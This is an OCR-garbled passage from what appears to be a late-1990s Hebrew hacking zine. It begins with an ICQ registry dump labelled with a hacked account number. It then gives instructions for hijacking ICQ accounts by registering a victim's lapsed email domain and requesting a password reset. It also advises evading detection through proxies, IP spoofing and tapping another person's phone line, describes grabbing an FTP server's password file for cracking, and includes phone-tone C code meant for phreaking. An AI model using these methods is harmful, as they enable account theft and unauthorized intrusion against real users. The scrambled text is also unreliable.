"Blink Tray In AwayBusy"="Yes""Use Contact List Color"="No"
"Contact List Color"=dword:00c8b99d"Save User File"="Yes""Auto Update"="Yes"
"Search Wizard"="No""Default Mailer"="Yes""Pop Play Sound"="Yes"
Pop Auto Launch"="No""Pop Check"="No""Pop Time"=dword:0000000a"
"Check Headers"="Yes""MoveToOutDelay"=dword:00000014"MoveToOut"="No"
"MoveToAwayDelay"=dword:0000000a"MoveToAway"="No""Auto Sleep Mode"="No"
"Log History Events"="Yes""Connection Type"="Permanent""Firewall"="Yes"
UseGivenIP"="No""Socks"="No""SocksPort"=dword:00000438"
"SocksServer"="Enter your socks server"
ProxySocks4Host"="Enter your proxy server""ProxySocks4Port"=dword:00000438"
UseProxySocks4"="No""GiveStats"="No""SocksVersion"=dword:00000004"
SocksAuthentication"=dword:00000000"FirewallTimeout"=dword:0000001e"
"UseFirewallTimeout"="No""UseFirewallRangePorts"="Yes"
FirewallFromPort"=dword:000059d8"FirewallToPort"=dword:00007148"
";"="Old Sockets"="No""UserType"=dword:00000000"Mail Receipients"
184
Random Available"="No""RandomGroupName"=dword:00000001"
"Random Name"="#¥d¶³ 666 £]""Allow Secure Clients Only"="Yes"
PhoneApproval"="Yes""PhoneToneTime"=dword:00000032"
PhonePauseTime"=dword:000001f4"PhoneBreakTime"=dword:00000028"
" "="PhoneSettings"=dword:00000001"PhonePauseChar"=",""PhoneLocalP"
"PhoneLongP"=" ""PhoneInterP"=" ""Chat RoomName"="Product Support / Suggestion"
Auto Join Chat Room"="Yes""Novice Counter"=dword:0000000a"
Menu Counter"=dword:00000013"Servers Version"=dword:00000001"
Externals Version"=dword:00000019"
\,Stats"=hex:60,ff,ea,52,5c,36,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00"
\,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00
\,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00
\,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00
\,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00
\,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00
\,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00
\,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00
"Novice"="No"00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00
Dropped Users"=hex:01,00,00,00,43,ca,35,00,e6,02,1f,00"
State Flags"=dword:00000000"Server Msg Version"=dword:0000000b"
Server Msg Shown"=dword:00000001"Server Msg Count"=dword:00000009"
"LeftButton Warning"="No""Menu Left Click"="No""Tip Startup"="No"
"Tip Position"=dword:00000000"MoreEvents Warning"="No""Invisible Warning"="No"
"Send Later Warning Off"="No""Busy Warning"="No""Away Warning"="No"
"DND Warning"="No""FT Warning"="No""Ext Warning"="No""Out Warning"="No"
"Chat Warning"="No"
"Away Message"="User is currently away\r\nYou can leave him/her a message"
Random Comment"="You won't be hurt by things you don't care.\r\n\r\n(c) Calvin's Labs, 1993-1998."
".No Rights Reserved.\r\nIt's not a secret. It's not a magic. It's not a myth
]HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\YOURUIN\Prefs\Presets[
"!OutMsg Presets 0"="I'm out'a here. See you tomorrow"
".DNDMsg Presets 0"="Please do not disturb me now. Disturb me later"
"Away PresetsMsg 0"="Away""Out PresetsMsg 0"="Out for the day"
"Busy PresetsMsg 0"="Busy""DND PresetsMsg 0"="DND""Chat PresetsMsg 0"="Chat"
".AwayMsg Presets 1"="I am out to lunch. I will return shortly"
""="OutMsg Presets 1"
".DNDMsg Presets 1"="I am currently in a meeting. I can't be disturbed"
"ChatMsg Presets 1"="Come Join my chat room!""Away PresetsMsg 1"="Lunch"
"Out PresetsMsg 1"="Not here""Busy PresetsMsg 1"="Meeting"
"DND PresetsMsg 1"="Meeting""Chat PresetsMsg 1"="Come In"
"!AwayMsg Presets 2"="Don't go anywhere! I'll be back in a jiffy"
".OutMsg Presets 2"="I'm closed for the weekend/holidays"
"!DNDMsg Presets 2"="Don't disturb my concentration"
"!ChatMsg Presets 2"="Don't miss out on the fun! Join our chat"
"Away PresetsMsg 2"="Be right back""Out PresetsMsg 2"="Closed"
"Busy PresetsMsg 2"="Concentration""DND PresetsMsg 2"="Concentration"
"Chat PresetsMsg 2"="Fun"
".AwayMsg Presets 3"="I'm out with the dog. Be back when he's finished"
".'OutMsg Presets 3"="Gone fishin"
"!DNDMsg Presets 3"="I'm on the phone with a very important client. Don't disturb me"
"!ChatMsg Presets 3"="What are you waiting for? Come on in"
"Away PresetsMsg 3"="Dog Walk""Out PresetsMsg 3"="Fishing"
"Busy PresetsMsg 3"="On the Phone""DND PresetsMsg 3"="On the Phone"
" .Chat PresetsMsg 3"="Don't Wait""AwayMsg Presets 4"="Went out for a smoke"
".OutMsg Presets 4"="I'm sleeping. Don't wake me"
".DNDMsg Presets 4"="I can't chat with you now. I'm busy"
".ChatMsg Presets 4"="We'd love to hear what you have to say. Join our chat"
"Away PresetsMsg 4"="Smoke""Out PresetsMsg 4"="Sleeping"
" Busy PresetsMsg 4"="Can't chat ""DND PresetsMsg 4"="Can't chat"
".Chat PresetsMsg 4"="Hear""AwayMsg Presets 5"="On my Coffee break"
".OutMsg Presets 5"="Went home. Had to feed the kids"
"?DNDMsg Presets 5"="Can't you see I'm working"
"ChatMsg Presets 5"="Enter your chat room message here"
"Away PresetsMsg 5"="Coffee""Out PresetsMsg 5"="Kids"
"Busy PresetsMsg 5"="Working""DND PresetsMsg 5"="Working"
".Chat PresetsMsg 5"="Empty""AwayMsg Presets 6"="Went to get some fresh air"
".OutMsg Presets 6"="Gone for good"
"DNDMsg Presets 6"="Enter your occupied message here"
"ChatMsg Presets 6"="Enter your chat room message here""Away PresetsMsg 6"="Air"
"Out PresetsMsg 6"="Gone""Busy PresetsMsg 6"="Conversing"
"DND PresetsMsg 6"="Empty""Chat PresetsMsg 6"="Empty"
".BusyMsg Presets 7"="User is occupied. Only urgent messages will be delivered"
"DNDMsg Presets 7"="Enter your occupied message here"
"ChatMsg Presets 7"="Enter your chat room message here"
"Away PresetsMsg 7"="Empty""Out PresetsMsg 7"="Empty""Busy PresetsMsg 7"="Empty"
185
"DND PresetsMsg 7"="Empty""Chat PresetsMsg 7"="Empty"
"BusyMsg Presets 0"="User is currently Occupied"
"ChatMsg Presets 0"="I would like to chat about anything"
"BusyMsg Presets 1"="User is currently Occupied1"
"BusyMsg Presets 2"="User is currently Occupied2"
"BusyMsg Presets 3"="User is currently Occupied"
"BusyMsg Presets 4"="User is currently Occupied"
"BusyMsg Presets 5"="User is currently Occupied"
"BusyMsg Presets 6"="User is currently Occupied"
"AwayMsg Presets 7"="User is currently away"
"OutMsg Presets 7"="User is currently N/A"
"AwayMsg Presets 0"="User is currently away\r\nYou can leave him/her a message"
]HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs\MOTD[
]HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs\MOTD\Message0[
".Message"="Please bookmark our network status page"
""="URLName"="http://www.mirabilis.com/status.html""URL"="press here""Date"
]HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs\MOTD\Message1[
"URLName"="http://www.mirabilis.com/emailsig.html"
""="URL"="Go to the ICQ e-mail signature generator""Date"
]HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs\MOTD\Message2[
Message"="ICQ is doing it again! One more new service from ICQ for your pleasure! Create your ICQ"
interest group - home, work, family, hobby, affiliation, sports, music...etc..( It's straight forward, no
"( !HTML needed
"URLName"="http://www.icq.com/announcements/02.html"
"URL"="It's fun and easy, GO!!""Date"="31-MAR-98"
]HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs\MOTD\Message3[
"!URLName"="http://www.icq.com/announcements/whitepages.html""URL"="Go"
"Date"="1-APR-98"
]HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs\MOTD\Message4[
Message"="ICQ can notify you when you receive an e-mail and show you the e-mail headers! Learn"
"!how to do it
"URLName"="http://www.mirabilis.com/email.html"
"URL"="E-mail notification instructions""Date"="15-JUN-98"
]HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs\MOTD\Message5[
"URLName"="http://www.icq.com/announcements/05.html""URL"="Create your Greeting"
"Date"="12-JUL-98"
]HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs\MOTD\Message6[
"URLName"="http://www.icq.com/announcements/06.html"
"URL"="Click For More Information""Date"="26-AUG-98"
]HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs\MOTD\Message7[
"!Message"="ICQ can alert you when you receive Emails and show you the Email headers"
"URLName"="http://www.icq.com/announcements/07.html""URL"="Learn how to do it"
"Date"="06-SEPT-98"
]HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs\MOTD\Message8[
"URLName"="http://www.icq.com/announcements/06.html"
"URL"="Click For More Information""Date"="20-OCT-98"
]HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs\RandomGroups[
[
HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs\RandomGroups\RandomGroup
]1
Name"="General Chat""Number"=dword:00000001"Version"=dword:00000001"
[
HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs\RandomGroups\RandomGroup
]2
Name"="Romance""Number"=dword:00000002"Version"=dword:00000002"
[
HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs\RandomGroups\RandomGroup
]3
Name"="Games""Number"=dword:00000003"Version"=dword:00000003"
[
HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs\RandomGroups\RandomGroup
]4
Name"="Students""Number"=dword:00000004"Version"=dword:00000004"
[
HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs\RandomGroups\RandomGroup
]5
Name"="20 Something""Number"=dword:00000006"Version"=dword:00000006"
[
HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs\RandomGroups\RandomGroup
]6
Name"="30 Something""Number"=dword:00000007"Version"=dword:00000007"
[
HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs\RandomGroups\RandomGroup
]7
Name"="40 Something""Number"=dword:00000008"Version"=dword:00000008"
186
[
HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs\RandomGroups\RandomGroup
]8
Name"="50 Plus""Number"=dword:00000009"Version"=dword:00000009"
]HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs\Servers[
]HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs\Servers\Server1[
Host"="icq1.mirabilis.com""Port"=dword:00000fa0"
]HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs\Externals[
]HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs\Externals\Canasta[
":Type"="Command""Command Line"="/ip"
"Path"="C:\\Program Files\\Canasta\\Canasta.exe"
URL"="http://ourworld.compuserve.com/homepages/mharte""Version"=dword:0000000f"
HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs\Externals\Connectix[
]VideoPhone
"Type"="Extension""Format"="/p:tcp /ac:""Extension"="cvp"
URL"="http://www.connectix.com/html/videophone.html""Version"=dword:00000009"
]HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs\Externals\Cu-Seeme[
"Type"="Command""Command Line"="""Path"="C:\\CUSEEME\\CUSEEM32.EXE"
URL"="http://www.cu-seeme.com/""Version"=dword:00000006"
]HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs\Externals\IRIS Phone[
"/Type"="Extension""Format"="""Extension"="iru""URL"="http://irisphone.com"
Version"=dword:0000000a"
]HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs\Externals\Microsoft VChat[
"Type"="ServerExtension""Format"="1.1\\n-u 1 -a ""Extension"="vce"
"NumParameters"=dword:00000002"Server1"="vchat1.microsoft.com"
URL"="http://vchat1.microsoft.com""Version"=dword:00000011"
HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs\Externals\Microsoft[
]VChat\Param1
"ParamName"="World""CanOtherChange"="No""Param1"="#Compass""Param2"="#BugWorld"
"Param3"="#Fishbowl""Param4"="#Lodge""Param5"="#Lunar""Param6"="#Lodge"
"Param7"="#Practice""Param8"="#RedDen""Param9"="#TableTop"
HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs\Externals\Microsoft[
]VChat\Param2
"ParamName"="Avatar""CanOtherChange"="Yes""Param1"="Amani""Param2"="Anderson"
"Param3"="Brb""Param4"="Cat""Param5"="Crab""Param6"="Dancer""Param7"="Dred"
"Param8"="Duggan""Param9"="Joey""Param10"="Lulu"
]HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs\Externals\Netscape CoolTalk[
""="Type"="Command""Command Line"
"Path"="C:\\Program Files\\Netscape\\Navigator\\CoolTalk\\CoolTalk.EXE"
"
URL"="http://home.netscape.com/comprod/products/navigator/version_3.0/communication/cooltalk/ind
"ex.html
Version"=dword:00000004"
HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs\Externals\Rikken on the[
]Rockx
"Type"="ClientServer""Client Command Line"="/CLIENT %i"
"Server Command Line"="/SERVER""Client Path"="C:\\Rikken\\Rikken.exe"
"/Server Path"="C:\\Rikken\\Rikken.exe""URL"="http://www.dse.nl/~ramon/rikken"
Version"=dword:00000017"
]HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs\Externals\VDOPhone[
"Type"="Extension""Format"="callto://""Extension"="vdp"
URL"="http://www.vdo.net/download/""Version"=dword:00000003"
]HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs\Externals\VidCall[
"Type"="Command""Command Line"="""Path"="C:\\VidCall\\Corp.EXE"
"URL"="http://www.access.digex.net/~vidcall/vidcall.html"
Version"=dword:00000008"
]HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs\Externals\WebPhone[
"/Type"="Extension""Format"="""Extension"="wpc""URL"="http://www.webphone.com"
Version"=dword:00000007"
]HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs\Externals\Quake[
"Type"="ClientServer""Client Command Line"="-mpath +connect %i"
"Server Command Line"="-mpath -listen""Client Path"="c:\\quake_sw\\Q95.bat"
"Server Path"="c:\\quake_sw\\Q95.bat""Server1"="quake.xmisson.com"
URL"="http://www.idsoftware.com""Version"=dword:00000010"
]HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs\Externals\VoxChat[
"Type"="ServerCommand""Format"="GROUPNAME=i PORT=15000"
Path"="C:\\Program Files\\VoxChat\\VoxChat.exe""NumParameters"=dword:00000001"
"Server1"="voxchat1.voxware.com""Server2"="voxcha2.voxware.com"
"URL"="http://www.voxchat.com/low/download.htm"
]HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs\Externals\VoxChat\Param1[
"ParamName"="Room""CanOtherChange"="No""Param1"="#ICQ"
]HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs\PhoneLocations[
LastUpdate"=dword:00000000"
]HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Main[
SelectedCell"=dword:00000000"AlwaysOnTop"="Yes""LeftBarWidth"=dword:000000ad"
187
RightBarWidth"=dword:000000ad"FloatBar-Left"=dword:00000255"
FloatBar-Right"=dword:00000307"FloatBar-Top"=dword:00000033"
"FloatBar-Bottom"=dword:000001f3"State"="Floating""Minimized"="No"
]HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Windows[
Response"=dword:008f00c9"SearchWiz"=dword:006f00c0"NotifyWiz"=dword:006f00c0"
posNovice"=dword:009300dc"posMOTD"=dword:00af00b7"posMenuConfig"=dword:00a900e7"
RemoveUIN"=dword:00bb0108"Message"=dword:008b004f"Security"=dword:007400b4"
Prefs"=dword:007f00ae"History"=dword:0096003a"File Request"=dword:009000f0"
FileTransfer"=dword:009700ae"Info"=dword:009300d2"FetchUser"=dword:00e9010e"
URL Message"=dword:00a00069"Away"=dword:00bd00f7"Chat Request"=dword:009f00dd"
Contacts List"=dword:008300bd"Chat"=dword:008b00f5"Phone"=dword:000a000a"
Phone Call Request"=dword:007700e5"
]HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Search[
Place"=dword:00a400cc"Type"=dword:00000002"Width"=dword:01880188"
]HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\ICQ Chat[
ChatStyle Counter"=dword:00000003"Pen Color"=dword:0080ffff"
"Back Color"=dword:00004000"Send Focus"="Yes""Enable Sounds"="Yes"
"Name Bars"="Yes""Always On Top"="No""AutoColor"="No""OverRide Format"="Yes"
"Show Toolbar"="Yes""State"=dword:00010000"New Font Name"="Times New Roman"
Char Set"=dword:00000000"IRCListWidth"=dword:00000006"
Font Pitch"=dword:00000012"New Font Height"=dword:0000000e"
Font Effects"=dword:00000000"AutoColor 0"=dword:00000000"
AutoColor 1"=dword:00000080"AutoColor 2"=dword:00008000"
AutoColor 3"=dword:00008080"AutoColor 4"=dword:00800000"
AutoColor 5"=dword:00800080"AutoColor 6"=dword:00808000"
AutoColor 7"=dword:00808080"AutoColor 8"=dword:00c0c0c0"
AutoColor 9"=dword:000000ff"AutoColor 10"=dword:0000ff00"
AutoColor 11"=dword:0000ffff"AutoColor 12"=dword:00ff0000"
AutoColor 13"=dword:00ff00ff"AutoColor 14"=dword:00ffff00"
AutoColor 15"=dword:00ffffff"Place-Left"=dword:0000000a"
Place-Right"=dword:000001fe"Place-Top"=dword:0000000a"
"Place-Bottom"=dword:0000021a"New LogFile name"="ICQChatLog.txt"
"New SaveFile name"="ICQChatSave.txt"
. על הניסוח של התוסףRul3R ותודה ל. חבר קרוב ועוזר לארגון- The-MOD תוסף ע"י
:השגת סיסמאות של מספרי איסיקיו
בשביל להשיגicq מאיל שלו כתובת שלא קיימת-מה צריך ? צריך רק למצוא משתמש שכתב באי
מספר ב
:לדוגמא
188
אם מישהו רשם למשל:
asdf@asdf.com
נכנסים לאחד מהאתרים שמביאים לרשום דומינים בחינם והם מביאים גם אי-מאיל
( ) www.namedemo.com / www.namezero.com
ושם רושמים את הכתובת
asdf.com
אחרי שרושמים את הכתובת הזאת
פותחים חשבון דואר באתר שבו רשמתם את הדומין
ושהדואר שאתם פותחים יהיה
asdf@asdf.com
אחרי שפותחים את כתובת הדואר
נכנסים לאתר www.icq.com/password :
של מי שבחרתם -icqושם כותבים את מספר ה
אם עשיתם את כל השלבים נכון
הסיסמא של המספר תשלח לדואר שלכם
( ) asdf@asdf.com
הצעות :כדאי לקחת מספר שהוא גם מספר הטלפון\האישי שלך שיהיה קל לזכור
נכתב ע"י , The-MODנוסח ע"י Rul3Rונכנס כתוסף לטקסט של .Pirs[i]ng
בקשות או כל דבר אחר ל The -MODלשלוח ל:
TheMOD@hotmail.co.il
By The-MOD
189
מה היא פריצה +דוגמה
פריצה בעברית נכונה היא כניסה/לגנוב גישה למקום שאין לך גישה לשם.
להיכנס למקום/אזור/מערכת/רשת שאתה לא מורשה להיות שם,
אבל אתה בכל זאת אתה נכנס ע"י פריצה למקום/אזור/מערכת/רשת.
פריצה היא לא חוקית גם במחשבים וגם בחיים האמיתיים ,ויש מדינות שעושות סיפור ממש גדול
מזה.
למשל בישראל אתה לא כל כך חוטף על הראש עם תופסים אותך אבל אם בבריטניה אתה נתפס,
אתה מקבל עונש כמו טרוריסט ,למרות שכולם יודעים שזה לא אותו דבר אבל ככה הם ה"חיים".
פריצה בכלליות היא חילול הקוד שמנהל מקום/אזור/מערכת/רשת קבע ואף לפעמים שינוי הקוד.
באקדור הוא נושא אהוב על האקרים והוא משמש ועוזר להאקר לחדור
למקום/אזור/מערכת/רשת.
שורות קוד שמישהו הכניס במכוון כדי לאפשר לעצמו (בד"כ) גישה למשהו על מחשב אחר יותר
בקלות..
לדוגמא קוד שיפתח פורט מסויים רק לאי פי מסויים ויתן לו לכתוב שם פקודות קבועות שיבצעו
פעולה כלשהי לפי מה שמכין הבאקדור קבע.
לפעמים האקרים אשר מצאו את הבאקדור מנצלים את זה ומכינים כמה נוספים
כדי שהפריצה הבאה למערכת תהיה פשוטה יותר.
למה פורצים אתם רוצים לדעת ?
אני חושב שיש שתי קטגוריות לרצון של אנשים לפרוץ.
א .האקר "טוב" -האקר טוב לא יפרוץ למקום/אזור/מערכת/רשת כדי להרוס או לשים את
החותמת שלו,
לשים את השם שלו ולצפות שיראו בחדשות שהוא פרץ וצריך לפחד ממנו כו' ,הוא לא יפרוץ
בשביל מטרה רעה.
הוא יפרוץ ,אם בכלל למקום/אזור/מערכת/רשת כדי להראות למנהל הרשתת שיש לו בעיה
איפשהו.
ישאיר חותמת ולא ימחק את הלוגים או יהרוס משהו .המטרה שלו היא לעשות טוב !!!
ה זה מתחלק לשני חלקים:
.1מנהל הרשת יודה להאקר שהודיע לו על הבעיה ואף אולי יצ'פר אותו איכשהו.
.2מנהל הרשת לא יקבל את כטובה וידווח עליו לרשויות ומשם זה מתפצת לעוד שני חלקים
(תסתכלו יותר למטה).
ב .האקר "רע" -הוא ההפך המושלם (או שלא) מההאקר הטוב ,הוא יפרוץ
למקום/אזור/מערכת/רשת כדי,
להשליט טרור (קצת מוגזם) ולהרוס את מה שהוא הגיע אליו.
הוא ישאיר חותמת שהוא הרס את זה בגלל שבלה בלה ,ובלה בלה.
קרוב לוודאי שהוא יהרוס את כל הקבצים במערכת וימחק את הלוגים (.)LOGS
הוא לא יעשה שום דבר טוב אלא רק יעשה את זממו ,שהוא דבר רע.
מפה העניין מת]צל לשני חלקים.
.1יתפסו אותו ,יקנסו אותו ,יהיה משפט ,הוא יקבל עונש ,לא יגע במחשב 20שנה וימות מזקנה.
.2לא יתפסו אותו ,לא יקנסו אותו ,לא יהיה משפט ,הוא לא יענש ,הוא יהרוס עוד אתר ומשם זה
ממשיך.
אולי יתפסו ואולי לא .העונש על פריצה הוא תמיד כבד ,אבל יש מדינות שהוא יותר מדי כבר.
תודה ל... -
190
קודם כל הכי חשוב ,בכלל לא כדאי לפרוץ אלא אם אתם בטוחים שאתם יודעים איך להיזהר.
הנה פה כמה שיטות נחמדות להגן על עצמכם.
יש כאלה אנשים שאומרים לא לפרוץ מהבית ,ויש כאלה שאומרים לחייג * 43שלא יאתרו מאיפה
אתה מתקשר.
כל אלה נכונים במקצת.
& לידע אישי 43* ,לא חוסם את השיחה אלא מונע * .42במכשירי שיחה מזוהה רגילים זה מונע
את הצגת המספר,
אבל בחברות אינטרנט וכל מה שיש לו ציוד רציני זה ימנע * 42ולא יותר.
השיטה הכי טובה לא להיתפס ,היא לא לעשות את זה אבל אם בכל מקרה אתם רוצים אז הנה:
.2תתחברו דרך כמה שיותר תחנות שידור כדי שיהיה קשה להגיע אליכם proxy( .וכו').
.3עשו ספופ ממש חזק לאיפי שלכם שגם עוד שנה לא יגיעו אליו.
.4תנסו לא לפרוץ מהבית כי זה באמת עוזר אבל זה תלוי ,אם יש לכם מקום שאתם יכולים להיות
שם הרבה זמן,
ולא יחדשו בכם או לא יגיעו אליכם לאחר המעשה ,אז לכו על זה.
.5כמו כן השיטה לדעתי הכי טובה ,היא להתחבר לקו טלפון של מישהו ומשם להתחבר
לאינטרנט ולעשות את זממכם.
לעוד מידע איך לעשות על זה לכו לטקסטי הפריקינג שלנו וחפשו מידע ברחבי הרשת .
.Proxy
שרת המוקם על ידי ספקי שירות (חברות אינטרנט ,חברות גדולות וכו') למען לקוחותיו ותפקידו
ליצור
קשר עם מחשבים ברשת ולשלוף מהם מידע על פי בקשת הגולשים .לשרת הפרוקסי חיבור מהיר
הרבה יותר
משל הגולש הממצוע עם המודם ולכן משמש כמקום מהיר בהרבה לקבלת קבצים ממנו.
אם הרבה אנשים מבקשים את אותו קובץ -הקובץ נשמר בשרת הפרוקסי ,ובכך חוסך לגולשים
את ההמתנה
לקבלת המידע משרת האינטרנט המרוחק .על שרתי פרוקסי יש גם הגנה ולכן הם יכולים לשמש
כפיירוול.
ככה כל העניין הזה עובד:
191
עכשיו יש לכם פה הסבר על פריצה לאתר אף.טי.פי והוצאת קובץ הסיסמאות של האתר ,ואז,
אפשר לגשת לאתר אף.טי.פי ללא ידיעתו של האדמין כי הוא לא יודע שיש לך את הסיסמא.
אוקי הנה השיטה רק ,תזהרו במה שאתם עושים אם זה.
.3עכשיו אתה אמורים להקיש שם משתמש ,נכון ? אל תקישו כלום ,לחצו על אנטר (.)Enter
.4עכשיו אתה אמורים להקיש סיסמא ,נכון ? אל תקישו כלום ,לחצו על אנטר (.)Enter
אם עשיתם הכל נכון אז הקובץ של הסיסמאות אמור לרדת לכונן הקשיח שלכם ומשם אתם לבד.
אם הוא מוצפן בדרך כלשהי ,נסו לעשות אם זה משהו,
תחשבו אלי איך לפצח אותו או תורידו תוכנות שתעשה את זה (לא חסר תוכנות כאלה).
ואם הקובץ לא מוצפ אז זה חסך לכם עבודה ! ועבודה רבה !
משם תעשו מה שאתם רוצים אם מה שאתם מוצאים.
By Pirs[i]ng
192
יצירת טונים בשפת C
תוכן העניינים
-------------
.1טונים
.2מבט ראשוני
.3מבט שני
.4פקודות
.5ערבוב טונים
.1טונים
טונים הוא בעצם צליל ,או סדרה של תווים ,אשר רצית בתדירות מסויימת .
טון מסוים ואני משמיע אותו בטלפון ציבורי מסוים זה עושה משהו ...
יש המון טונים :לניתוק הטלפון ,לקופסאות וכ'ו ...
.2מבט ראשוני
>include<stdio.h#
>include<dos.h#
)(void main
{
;)Sound)1800
;)Delay)1000
;)(Nosound
}
.3מבט שני
>include<stdio.h#
/* )(include<dos.h> /* for delay#
)(void main
{
}
193
.4פקודות
---------
.5ערבוב טונים
--------------
>include<stdio.h#
>include<dos.h#
)(void main
{
;)Sound)1000
;)Sound)200
;)Delay)1000
;)(Nosound
}
מה שקורה פה ,התוכנה מפעיל שני צלילים אחד בתדירות , 1000והשני
בתדירות . 2000אז היא מחכה 1000מילי שניות שזה שנייה אחת ,ואז מפסיקה
את הצלילים .זה הכל ...
אתם יכולים לערבב המון צלילים ביחד ,אבל לא יצא מזה משהו מועיל .
תיקונים Razor
194
כבלים
איזה סוגים יש ומה צריך לדעת עליהם ! Pir[s]ing /
אין ביניהם הבדל רב אבל הם הכבלים הנפוצים ביותר לעבודה משרדית ואני בטוח שבכמה בתי
ספר משתמשים בכבלים הנ"ל.
כבלי ה UTP / TP -יוצאים מכרטיס הרשת לתקע בקיר ( )Rj45אשר מועברים דרך כבל זהה
לרכזת.
טבלת סיכום של ה .TP / UTP
אורך מירבי – )100M )328 feet
מהירות – 10Mbpsבד"כ אבל יכול להיות גם 100
התקנה/תחזוקה – פשוטה ביותר וקלה.
הפרעות – רגיש במיוחד.
עלות – הזול ביותר .
195
כבל קוקסיאלי –
בכל הכבלים המוליך החיצוני הוא מוארק ומונע הפרעות וחיבול בכבל ע"י סיכוך.
196
כבל סיב אופטי – .Fiber Optic
חיבור הרשת הטוב ביותר שקיים.
הנתונים מועברים בדרך אור ולא כאות חשמלי.
הכבל אינו רגיש להפרעות ואינו מחולל הפרעות ופגיעות בקו השידור.
הם מסוגלים להעביר כמות אדירה של מידע לעומת כבלים אחרים.
בלתי אפשר לצטט ולהפריע לכבל.
כך הנתונים עוברים בכבל כאשר כל דפנה היא כמו מן מראה:
By Pirs[I]ng
197
איך להרוס סוגים שונים של כבלים
דרכים להרוס את הכבלים הנ"ל :אני לא אפרט מה עושה מה כי זה יקח שנים פשוט אני אכתוב
מה לעשות ,איך ולאיזה קבל.
By Pirs[I]ng
198
מושגים
199
- BackDoorשורות קוד שמישהו הכניס במכוון כדי לאפשר לעצמו (בד"כ) גישה למשהו על מחשב
אחר יותר בקלות..
לדוגמא קוד שיפתח פורט מסויים רק לאי פי מסויים ויתן לו לכתוב שם פקודות קבועות
שיבצעו
פעולה כלשהי לפי מה שמכין הבאקדור קבע.
לפעמים האקרים אשר מצאו את הבאקדור מנצלים את זה ומכינים כמה נוספים כדי
שהפריצה הבאה למערכת תהיה פשוטה יותר !
- Exploitניצול של חורי אבטחה -קודים\דרכים לנצל חורי אבטחה במערכות ..
. - LinuXמערכת הפעלה המבוססת על יוניקס ,בעלת קוד פתוח וניתנת להורדה ולשימוש בחינם
- FireWallמערכת להגנה מפני גישה לא מורשת למחשב מקומי או רשת מקומית שמחוברת
לאינטרנט.
- Proxyשרת המוקם על ידי ספקי שירות (חברות אינטרנט ,חברות גדולות וכו') למען לקוחותיו
ותפקידו ליצור
